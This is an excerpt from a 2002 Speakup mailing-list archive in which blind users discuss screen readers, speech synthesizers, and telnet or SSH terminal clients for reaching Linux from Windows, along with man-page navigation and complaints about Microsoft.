> fact, I would like to try the mbrola sinthesizer because I heard that it has
> support for my native language, but I am afraid that I could broke
> something, and then I won't be able to have the emacspeak back.
> 
> I've seen some help files telling me that I should "compile" something ...
> Well, here I am lost. How to compile?
> I heard that there is another  screen reader named Jupiter  that works with
> the mbrola sinthesizer, but I am not sure here, and I heard that it is a
> real screen reader, not like emacspeak.
> 
> I am hoping 2 things:
> 1. The GUI will be accessible for the blind and it won't be necessary a
> hardware sinthesizer.
> 2. The software sinthesizer will work with a newly  created screen reader
> for the GUI.
> 
> If this won't happend very  soon, I hope I could use Jupiter with mbrola and
> I hope it sounds well.
> 
> I think I need to clear a little why I need so much a good  voice easy to
> understand.
> I am not a native english speaker and I don't speak english at all. I only
> type in english and I listen the screen reader.
> Well, there is no support for my native language and I listen to romanian
> texts with the english sinthesizer. I think you imagine how well it sounds.
> Now I am used to listen to romanians texts in english with a pretty high
> speed, and IBM Via voice sounds almost like the eloquence sinthesizer and
> that's why I like it.
> If I need to read romanian texts in eenglish with the Dec Talk sinthesizer,
> I can't understand almost anything.
> 
> In fact, it is hard to understand english texts also. The old Dec Talk
> doesn't sound as well as the new ones.
> 
> 
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 7:38 AM
> Subject: Re: interesting experiment.
> 
> 
> Greg:
> 
> I'm pretty sure he isn't using Speakup. He doesn't have a
> supported synth. He telnets from his Windows machine, as I
> recall, and he's tried using ViaVoice directly with emacspeak. Of
> course, the latter is a very steep learning curve.
> 
> Still, he's got the DEC Talk internal, and emacs with or without
> emacspeak is worth learning. Without emacspeak, he can run it
> over telnet--but I doubt JFW is all that great as a telnet
> client's screen review program. Also, the default Microsoft
> telnet is pretty lame. I would think this setup is fraught with
> frustration.
> 
> So, emacspeak with that DEC Talk is probably his smartest option
> right now, with the telnet as a back up to avoid rebooting.
> 
> I have also suggest yasr and eflite, but he's insisting on
> nothing less than Eloquence for free, so the DEC Talk is probably
> the best compromise.
> 
> Another option would be a better screen reader for telnet and a
> better telnet client. That would mean a good DOS screen reader
> like asap or Vocal-Eyes, assuming he can actually run DOS on that
> Windows machine. Neither of those is very cheap, though, and
> spending that much money would be dumb, because he could get a
> good Doubletalk for less than the cost of that software.
> 
> On Sun, 19 May 2002, Gregory Nowak wrote:
> 
> > We're all assuming he's using speakup since he's here. But from all of
> Tedy's comments in other posts, I am beginning to get the impression that
> he's not, since he seems to be asking for screen readers which support
> software tts.
> > Greg
> >
> >
> > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > Try man < emacs|less then use the speakup keys to read line by line, or
> > > word by word if you wish. you can bring up the next page by hitting the
> > > space bar.
> > >
> > >
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > >
> > > > Please enlighten me.
> > > > I never used the Jaws cursor in the new HTML help  format under
> Windows.
> > > > Select an item in the tree view, press enter, then press F6 and it
> will
> > > > automaticly start reading that help item. It is a simple HTML file
> there,
> > > > and it works exactly as simple as Internet Explorer.
> > > > You don't need the Jaws cursor at all.
> > > >
> > > > You needed the Jaws cursor only for some bad designed help files in
> the old
> > > > .hlp format.
> > > > Now in the new .chm format, you don't have any problems.
> > > >
> > > > But this doesn't matter too much. Please tell me how to navigate the
> man
> > > > pages.
> > > > I type man mv, for example.
> > > > It starts to print all the help file, but maybe I want to move with a
> page
> > > > up then down, etc.
> > > >
> > > > I know this is possible. Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > SNIP
> > > > > > You open a window, and it explains you what you should do there.
> > > > > > You have to press the space bar to check some checkboxes, to press
> some
> > > > > > buttons, etc, and if you don't know something, press shift+f10 (or
> the
> > > > right
> > > > > > mouse button and choose "what's this?" or press F1 to view the
> help file
> > > > > > wich is much much more easier to navigate than the man pages under
> > > > Linux.
> > > > SNIP
> > > >
> > > > A fake.
> > > > man pages under GNU/Linux are a lot easier to navigate than windows
> help
> > > > pages.
> > > > you need to route the jaws cursor to the pc and then fart around
> trying to
> > > > find what you were looking for.
> > > > even with the new features in jfw I seriously doubt you could navigate
> a
> > > > help file easier than a man page..
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: free terminal emulator for windows - download and install

[Janina Sajka]

On Mon, 20 May 2002, Alex Snow wrote:

> The reason I like console telnet is because it's open source and I can get
> the sourcecode if I need to make any changes.
Alex:

What screen readers have you run Console Telnet with?

Re: free terminal emulator for windows - download and install

[Raul A. Gallegos]

I've run it with vocal-eyes successfully.  Works good.


----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 9:38 AM
Subject: Re: free terminal emulator for windows - download and install


> On Mon, 20 May 2002, Alex Snow wrote:
>
> > The reason I like console telnet is because it's open source and I can
get
> > the sourcecode if I need to make any changes.
> Alex:
>
> What screen readers have you run Console Telnet with?
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: free terminal emulator for windows - download and install

[jwantz]

Hi Charley,
Comnet seems to work better with Window-eyes than does Teraterm.  The 
downside though is that as far as I know Comnet is still a pure Telnet 
client no support for ssh at all.

      Jim Wantz WB0TFK
On Mon, 20 May 2002, Charles Crawford 
wrote:

> Window eyes uses the insert-a for speak all when you are in teraterm.  That 
> program is not all that good from my experience.  I just wish there were a 
> good dos telnet program that coudl run from the dos window..
> 
> -- Charlie.
> 
> At 12:54 PM 5/20/02 -0500, you wrote:
> >You mention jaws scripts. Are there window-eyes set files too? Or does it 
> >work fine without them.
> >Greg
> >
> >
> >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > Janina wrote:
> > > > > Another option would be a better screen reader for telnet and a
> > > > > better telnet client. That would mean a good DOS screen reader
> > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > Windows machine. Neither of those is very cheap, though, and
> > >
> > > I use a free windows terminal emulator called teraterm. I redefine the jaws
> > > function sayNonHighlightedText to read everything appearing on the screen,
> > > as long as its not a menu or in a dialog box (about 7 lines of code. Go to
> > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it into a
> > > directory somewhere and click on ttermpro.exe for the standard version or
> > > ttssh.exe for the ssh version. Both report the application name is
> > > ttermpro.exe, so the jaws scripts will work regardless.
> > > The jaws scripts are in ttermpro.zip. Download this file, extract to your
> > > jaws scripts directory, and then either press enter on this script filename
> > > from within windows explorer or press insert+f2 and choose script manager
> > > and open the file from there. Once you have the file, press control+s to
> > > save and compile it. Now you should be able to run teraterm and jaws should
> > > speak correctly.
> > >
> > > The real problem is text editing. I use ex (vi without the full-screen
> > > stuff - basically ed ), but only crazy people like me probably want to go
> > > this way. I need to try a full screen editor and make it work via a 
> > terminal
> > > emulator. VI might be a good choice, but the key bindings only make 
> > sense if
> > > you know about ed. What's the other choices for full screen editing which
> > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > There's pico and probably others. I need to try and make this work for
> > > myself too, because using ex is nice in some ways, but its more typing than
> > > I really want to do with my RSI the way it is.
> > >
> > > I can help more with this if needed. Its not the greatest solution, but it
> > > works very well for me. The terminal emulator is very very stable. Its
> > > worked on every version of windows I've tried it on with the same results.
> > >
> > > Hope this helps someone -- Teddy especially. Please don't hesitate to 
> > ask me
> > > for more help. I will be unavailable for the next week or so, but after the
> > > 28th, I'll be able to answer e-mail again.
> > >
> > >                     Rich Caloggero
> > >                     MIT Adaptive Tech. for Info and Computing
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >_______________________________________________
> >Speakup mailing list
> >Speakup@braille.uwo.ca
> >http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: free terminal emulator for windows - download and install

[Alex Snow]

Jaws for dos Is all I've used with it so far.  It's the only dos screen
reader I got.
----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 10:38 AM
Subject: Re: free terminal emulator for windows - download and install


> On Mon, 20 May 2002, Alex Snow wrote:
>
> > The reason I like console telnet is because it's open source and I can
get
> > the sourcecode if I need to make any changes.
> Alex:
>
> What screen readers have you run Console Telnet with?
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Alex Snow]

Yeah It's horrible under the winblows console.  Sometimes it doesn't read
the whole screen, and deffinately not the whole command prompt.  I get "w>"
instead of "c:\windows>".
----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 10:03 AM
Subject: Re: interesting experiment.


> A better solution would be to get ASAP instead of JAWS for DOS.
> But that would cost you more than a Doubletalk internal card
> which would allow you to use Linux and Speakup natively. Your
> real problem is that lame excuse of a DOS screen reader called
> JAWS.
>
> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> > Yes I am connecting to the Linux machine but not with the default Telnet
> > included in Windows. I use SecureCRT and I use SSH2 protocol to work
under
> > Linux.
> > The program is pretty accessible, but of course it is not very friendly
to
> > use because  I have to read the screen with the mouse cursor (the Jaws
> > cursor).
> >
> > I know a better solution would be to install NCSA Telnet for DOS.
> > That program works fine under DOS and I heard that  it is easier to use
than
> > a windows program.
> >
> > I've downloaded it, but I need to configure it and I need to find a good
DOS
> > screen reader.
> > This won't be such a big problem, but the main idea is that I would like
to
> > use only the Linux machine, not 2 computers in the same time.
> >
> > I am willing to try more screen readers and sinthesizers, and as a
matter of
> > fact, I would like to try the mbrola sinthesizer because I heard that it
has
> > support for my native language, but I am afraid that I could broke
> > something, and then I won't be able to have the emacspeak back.
> >
> > I've seen some help files telling me that I should "compile" something
...
> > Well, here I am lost. How to compile?
> > I heard that there is another  screen reader named Jupiter  that works
with
> > the mbrola sinthesizer, but I am not sure here, and I heard that it is a
> > real screen reader, not like emacspeak.
> >
> > I am hoping 2 things:
> > 1. The GUI will be accessible for the blind and it won't be necessary a
> > hardware sinthesizer.
> > 2. The software sinthesizer will work with a newly  created screen
reader
> > for the GUI.
> >
> > If this won't happend very  soon, I hope I could use Jupiter with mbrola
and
> > I hope it sounds well.
> >
> > I think I need to clear a little why I need so much a good  voice easy
to
> > understand.
> > I am not a native english speaker and I don't speak english at all. I
only
> > type in english and I listen the screen reader.
> > Well, there is no support for my native language and I listen to
romanian
> > texts with the english sinthesizer. I think you imagine how well it
sounds.
> > Now I am used to listen to romanians texts in english with a pretty high
> > speed, and IBM Via voice sounds almost like the eloquence sinthesizer
and
> > that's why I like it.
> > If I need to read romanian texts in eenglish with the Dec Talk
sinthesizer,
> > I can't understand almost anything.
> >
> > In fact, it is hard to understand english texts also. The old Dec Talk
> > doesn't sound as well as the new ones.
> >
> >
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 7:38 AM
> > Subject: Re: interesting experiment.
> >
> >
> > Greg:
> >
> > I'm pretty sure he isn't using Speakup. He doesn't have a
> > supported synth. He telnets from his Windows machine, as I
> > recall, and he's tried using ViaVoice directly with emacspeak. Of
> > course, the latter is a very steep learning curve.
> >
> > Still, he's got the DEC Talk internal, and emacs with or without
> > emacspeak is worth learning. Without emacspeak, he can run it
> > over telnet--but I doubt JFW is all that great as a telnet
> > client's screen review program. Also, the default Microsoft
> > telnet is pretty lame. I would think this setup is fraught with
> > frustration.
> >
> > So, emacspeak with that DEC Talk is probably his smartest option
> > right now, with the telnet as a back up to avoid rebooting.
> >
> > I have also suggest yasr and eflite, but he's insisting on
> > nothing less than Eloquence for free, so the DEC Talk is probably
> > the best compromise.
> >
> > Another option would be a better screen reader for telnet and a
> > better telnet client. That would mean a good DOS screen reader
> > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > Windows machine. Neither of those is very cheap, though, and
> > spending that much money would be dumb, because he could get a
> > good Doubletalk for less than the cost of that software.
> >
> > On Sun, 19 May 2002, Gregory Nowak wrote:
> >
> > > We're all assuming he's using speakup since he's here. But from all of
> > Tedy's comments in other posts, I am beginning to get the impression
that
> > he's not, since he seems to be asking for screen readers which support
> > software tts.
> > > Greg
> > >
> > >
> > > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > > Try man < emacs|less then use the speakup keys to read line by line,
or
> > > > word by word if you wish. you can bring up the next page by hitting
the
> > > > space bar.
> > > >
> > > >
> > > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > >
> > > > > Please enlighten me.
> > > > > I never used the Jaws cursor in the new HTML help  format under
> > Windows.
> > > > > Select an item in the tree view, press enter, then press F6 and it
> > will
> > > > > automaticly start reading that help item. It is a simple HTML file
> > there,
> > > > > and it works exactly as simple as Internet Explorer.
> > > > > You don't need the Jaws cursor at all.
> > > > >
> > > > > You needed the Jaws cursor only for some bad designed help files
in
> > the old
> > > > > .hlp format.
> > > > > Now in the new .chm format, you don't have any problems.
> > > > >
> > > > > But this doesn't matter too much. Please tell me how to navigate
the
> > man
> > > > > pages.
> > > > > I type man mv, for example.
> > > > > It starts to print all the help file, but maybe I want to move
with a
> > page
> > > > > up then down, etc.
> > > > >
> > > > > I know this is possible. Thanks.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > SNIP
> > > > > > > You open a window, and it explains you what you should do
there.
> > > > > > > You have to press the space bar to check some checkboxes, to
press
> > some
> > > > > > > buttons, etc, and if you don't know something, press shift+f10
(or
> > the
> > > > > right
> > > > > > > mouse button and choose "what's this?" or press F1 to view the
> > help file
> > > > > > > wich is much much more easier to navigate than the man pages
under
> > > > > Linux.
> > > > > SNIP
> > > > >
> > > > > A fake.
> > > > > man pages under GNU/Linux are a lot easier to navigate than
windows
> > help
> > > > > pages.
> > > > > you need to route the jaws cursor to the pc and then fart around
> > trying to
> > > > > find what you were looking for.
> > > > > even with the new features in jfw I seriously doubt you could
navigate
> > a
> > > > > help file easier than a man page..
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Alex Snow]

I think the decktalk hardware synth sounds fine, but you have to admit, the
decktalk access32 software for winblows sounds just a bit constipated.
----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 10:01 AM
Subject: Re: interesting experiment.


> Octavian:
>
> Are you aware how inconsistant you are? Do you realize how
> discouraging that is to someone who might want to help you out
> and give you advice? Do you realize that it means you won't be
> taken seriously?
>
> If you hate the sound of the old DEC Talk when you use it with
> emacspeak, why would you like it were you able to use it with
> Speakup? It would still have the same sound and all those noises
> you were complaining about two days ago.
>
> Are you serious about Linux, or are you just here to cause
> trouble? You act like you're not serious.
>
> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> > No, you're right.
> > I don't use speakup though I would like to.
> > I've read on speakup web page that there is working in progress for
making
> > the Dec Talk PC 1 card  accessible for speakup and I've subscribed
hoping
> > that I will find out if there is support or not. Or if there it will
ever
> > be.
> >
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Gregory Nowak" <greg@romualt.dhs.org>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 7:25 AM
> > Subject: Re: interesting experiment.
> >
> >
> > We're all assuming he's using speakup since he's here. But from all of
> > Tedy's comments in other posts, I am beginning to get the impression
that
> > he's not, since he seems to be asking for screen readers which support
> > software tts.
> > Greg
> >
> >
> > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > Try man < emacs|less then use the speakup keys to read line by line,
or
> > > word by word if you wish. you can bring up the next page by hitting
the
> > > space bar.
> > >
> > >
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > >
> > > > Please enlighten me.
> > > > I never used the Jaws cursor in the new HTML help  format under
Windows.
> > > > Select an item in the tree view, press enter, then press F6 and it
will
> > > > automaticly start reading that help item. It is a simple HTML file
> > there,
> > > > and it works exactly as simple as Internet Explorer.
> > > > You don't need the Jaws cursor at all.
> > > >
> > > > You needed the Jaws cursor only for some bad designed help files in
the
> > old
> > > > .hlp format.
> > > > Now in the new .chm format, you don't have any problems.
> > > >
> > > > But this doesn't matter too much. Please tell me how to navigate the
man
> > > > pages.
> > > > I type man mv, for example.
> > > > It starts to print all the help file, but maybe I want to move with
a
> > page
> > > > up then down, etc.
> > > >
> > > > I know this is possible. Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > SNIP
> > > > > > You open a window, and it explains you what you should do there.
> > > > > > You have to press the space bar to check some checkboxes, to
press
> > some
> > > > > > buttons, etc, and if you don't know something, press shift+f10
(or
> > the
> > > > right
> > > > > > mouse button and choose "what's this?" or press F1 to view the
help
> > file
> > > > > > wich is much much more easier to navigate than the man pages
under
> > > > Linux.
> > > > SNIP
> > > >
> > > > A fake.
> > > > man pages under GNU/Linux are a lot easier to navigate than windows
help
> > > > pages.
> > > > you need to route the jaws cursor to the pc and then fart around
trying
> > to
> > > > find what you were looking for.
> > > > even with the new features in jfw I seriously doubt you could
navigate a
> > > > help file easier than a man page..
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Adam Myrow]

A well-known trick to get old DOS screen readers to work in a DOS console
under Windows 9X is to add "switches=/c" to your config.sys and of course,
reboot.  I've never seen that switch documented by Microsoft, but I've
seen it mentioned in several DOS games that came out after Windows 95.  I
even remember reading a press release for ASAP bragging that you wouldn't
need to use "switches=/c" with ASAP because it was so advanced.  Doubt any
of those screen readers work with Win XP or 2K.  However, Speakup works
with several Linux distros, and is the only screen reader to provide
speech from power up to shut down.  It is free, too!  Despite my previous
grumbles about it not having certain features, it's still the best free
screen reader for any platform IMHO.

Re: interesting experiment.

[Adam Myrow]

Actually, the Dectalk Access 32 sounds like it's got a cold to me.
Anybody remember Text Assist?  I always thought it was using a slightly
modified Dectalk voice, and maybe that's why it suddenly vanished from
Sound Blaster software packages.

Re: interesting experiment.

[Alex Snow]

Yeah, I like that Linux can have speach from powerup to shutdown.  In
winblows, You can get bootup errors, and not know what they are.  When I
suspect there is a problem, I don't bother get sited help.  Just yank out
the plug, curs a few times, and try again.
It's winblows, What can you expect!
----- Original Message -----
From: "Adam Myrow" <myrow@eskimo.com>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 6:41 PM
Subject: Re: interesting experiment.


> A well-known trick to get old DOS screen readers to work in a DOS console
> under Windows 9X is to add "switches=/c" to your config.sys and of course,
> reboot.  I've never seen that switch documented by Microsoft, but I've
> seen it mentioned in several DOS games that came out after Windows 95.  I
> even remember reading a press release for ASAP bragging that you wouldn't
> need to use "switches=/c" with ASAP because it was so advanced.  Doubt any
> of those screen readers work with Win XP or 2K.  However, Speakup works
> with several Linux distros, and is the only screen reader to provide
> speech from power up to shut down.  It is free, too!  Despite my previous
> grumbles about it not having certain features, it's still the best free
> screen reader for any platform IMHO.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: Why Windows?

[Gregory Nowak]

Trust Macroslop? Never.
Greg


On Tue, May 21, 2002 at 08:10:28AM +0300, Octavian Rasnita wrote:
> Should I trust Microsoft?
> If you say, ...
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message ----- 
> From: "David Poehlman" <poehlman1@comcast.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 1:51 PM
> Subject: Re: Why Windows?
> 
> 
> and they are correct.  they examine the pc and display only.
> 
> ----- Original Message -----
> From: "Octavian Rasnita" <orasnita@home.ro>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 9:42 PM
> Subject: Re: Why Windows?
> 
> 
> Agree. And if you go to Windows update page, they show you what sound
> card,
> motherboard, video card you have but they say that they don't take
> private
> information from your computer.
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:40 PM
> Subject: Re: Why Windows?
> 
> 
> On Sun, 19 May 2002, Alex Snow wrote:
> 
> > I think winblows is spyware itself!
> 
> Indeed.
> 
> If you sign up for Passport you agree to let M$ track your
> spending habits.
> 
> If you sign up for M$ Reader, you agree to let them know what
> books you read.
> 
> Heck, they're probably going to know more about you than your
> mother does.
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: free terminal emulator for windows - download and install

[Octavian Rasnita]

Territerm also doesn't have SSH2. Only SSH1 support.
Teddy,
orasnita@home.ro

----- Original Message -----
From: <jwantz@hpcc2.hpcc.noaa.gov>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 11:15 PM
Subject: Re: free terminal emulator for windows - download and install


Hi Charley,
Comnet seems to work better with Window-eyes than does Teraterm.  The
downside though is that as far as I know Comnet is still a pure Telnet
client no support for ssh at all.

      Jim Wantz WB0TFK
On Mon, 20 May 2002, Charles Crawford
wrote:

> Window eyes uses the insert-a for speak all when you are in teraterm.
That
> program is not all that good from my experience.  I just wish there were a
> good dos telnet program that coudl run from the dos window..
>
> -- Charlie.
>
> At 12:54 PM 5/20/02 -0500, you wrote:
> >You mention jaws scripts. Are there window-eyes set files too? Or does it
> >work fine without them.
> >Greg
> >
> >
> >On Mon, May 20, 2002 at 01:12:56PM -0400, Rich Caloggero wrote:
> > > Janina wrote:
> > > > > Another option would be a better screen reader for telnet and a
> > > > > better telnet client. That would mean a good DOS screen reader
> > > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > > Windows machine. Neither of those is very cheap, though, and
> > >
> > > I use a free windows terminal emulator called teraterm. I redefine the
jaws
> > > function sayNonHighlightedText to read everything appearing on the
screen,
> > > as long as its not a menu or in a dialog box (about 7 lines of code.
Go to
> > > http://barajas.mit.edu/teraterm/ to get the package. Just unzip it
into a
> > > directory somewhere and click on ttermpro.exe for the standard version
or
> > > ttssh.exe for the ssh version. Both report the application name is
> > > ttermpro.exe, so the jaws scripts will work regardless.
> > > The jaws scripts are in ttermpro.zip. Download this file, extract to
your
> > > jaws scripts directory, and then either press enter on this script
filename
> > > from within windows explorer or press insert+f2 and choose script
manager
> > > and open the file from there. Once you have the file, press control+s
to
> > > save and compile it. Now you should be able to run teraterm and jaws
should
> > > speak correctly.
> > >
> > > The real problem is text editing. I use ex (vi without the full-screen
> > > stuff - basically ed ), but only crazy people like me probably want to
go
> > > this way. I need to try a full screen editor and make it work via a
> > terminal
> > > emulator. VI might be a good choice, but the key bindings only make
> > sense if
> > > you know about ed. What's the other choices for full screen editing
which
> > > are *not* emacs? I've heard of something called vim (is this correct)?
> > > There's pico and probably others. I need to try and make this work for
> > > myself too, because using ex is nice in some ways, but its more typing
than
> > > I really want to do with my RSI the way it is.
> > >
> > > I can help more with this if needed. Its not the greatest solution,
but it
> > > works very well for me. The terminal emulator is very very stable. Its
> > > worked on every version of windows I've tried it on with the same
results.
> > >
> > > Hope this helps someone -- Teddy especially. Please don't hesitate to
> > ask me
> > > for more help. I will be unavailable for the next week or so, but
after the
> > > 28th, I'll be able to answer e-mail again.
> > >
> > >                     Rich Caloggero
> > >                     MIT Adaptive Tech. for Info and Computing
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >_______________________________________________
> >Speakup mailing list
> >Speakup@braille.uwo.ca
> >http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
